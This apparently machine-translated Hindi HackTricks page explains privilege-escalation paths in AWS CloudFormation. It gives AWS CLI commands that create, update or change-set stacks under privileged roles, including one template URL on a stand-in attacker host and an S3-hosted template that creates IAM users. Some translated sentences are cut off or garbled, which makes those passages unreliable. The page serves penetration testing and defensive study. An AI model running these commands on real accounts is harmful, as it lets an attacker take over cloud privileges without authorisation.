AWS - Cloudformation Privesc

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

cloudformation

Cloudformation के बारे में अधिक जानकारी के लिए देखें:

pageAWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

इन अनुमतियों के साथ एक हमलावर विशेष भूमिका के तहत क्रियाएँ निष्पादित करने के लिए अपनी सर्वर पर होस्ट किए गए एक कस्टम टेम्पलेट के साथ एक CloudFormation स्टैक बनाकर, उन्हें एक निर्दिष्ट भूमिका की अनुमतियों के तहत क्रियाएँ निष्पादित करने के लिए हमला कर सकता है:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

निम्नलिखित पृष्ठ पर आपको एक शोषण उदाहरण मिलेगा जिसमें अतिरिक्त अनुमति cloudformation:DescribeStacks है:

pageiam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

संभावित प्रभाव: निर्दिष्ट क्लाउडफॉर्मेशन सेवा भूमिका में उन्नति।

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

इस मामले में आप एक मौजूदा क्लाउडफॉर्मेशन स्टैक का दुरुपयोग कर सकते हैं ताकि आप इसे अपडेट कर सकें और पिछले स्थिति के रूप में वर्चस्व को उन्नत कर सकें:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy अनुमति का उपयोग करके आप स्टैक पर UpdateStack अनुमति देने और हमला कर सकते हैं।

संभावित प्रभाव: निर्दिष्ट क्लाउडफॉर्मेशन सेवा भूमिका को उच्चारित करना।

cloudformation:UpdateStack | cloudformation:SetStackPolicy

यदि आपके पास यह अनुमति है लेकिन कोई iam:PassRole नहीं है, तो आप फिर भी उपयोग किए जाने वाले स्टैक्स को अपडेट कर सकते हैं और उनके साथ पहले से जुड़े IAM भूमिकाएँ दुरुपयोग कर सकते हैं। उपयोग के लिए उदाहरण के लिए पिछले खंड की जांच करें (बस अपड

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

उपयोग की जा सकती है cloudformation:SetStackPolicy अनुमति को स्टैक पर ChangeSet अनुमतियाँ देने के लिए और हमला करने के लिए।

संभावित प्रभाव: क्लाउडफॉर्मेशन सेवा भूमिकाओं के लिए उच्चतम अधिकार।

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

यह पिछले विधि की तरह है बिना IAM भूमिकाओं को पारित किए, इसलिए आप सिर्फ पहले से संलग्न किए गए को दुरुपयोग कर सकते हैं, पैरामीटर को संशोधित करें:

--change-set-type UPDATE

संभावित प्रभाव: क्लाउडफॉर्मेशन सेवा भूमिका में Privesc।

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

एक हमलावर इन अनुमतियों का दुरुपयोग कर सकता है ताकि StackSets बनाएं/अपडेट करें और विचारहीन cloudformation भूमिकाओं का दुरुपयोग करें।

संभावित प्रभाव: क्लाउडफॉर्मेशन सेवा भूमिकाओं में Privesc।

cloudformation:UpdateStackSet

एक हमलावर इस अनुमति का दुरुपयोग कर सकता है बिना passRole अनुमति के StackSets को अपडेट करने के लिए और जुड़ी हुई cloudformation भूमिकाओं का दुरुपयोग करने के लिए।

संभावित प्रभाव: जुड़ी हुई cloudformation भूमिकाओं में Privesc।

संदर्भ

Last updated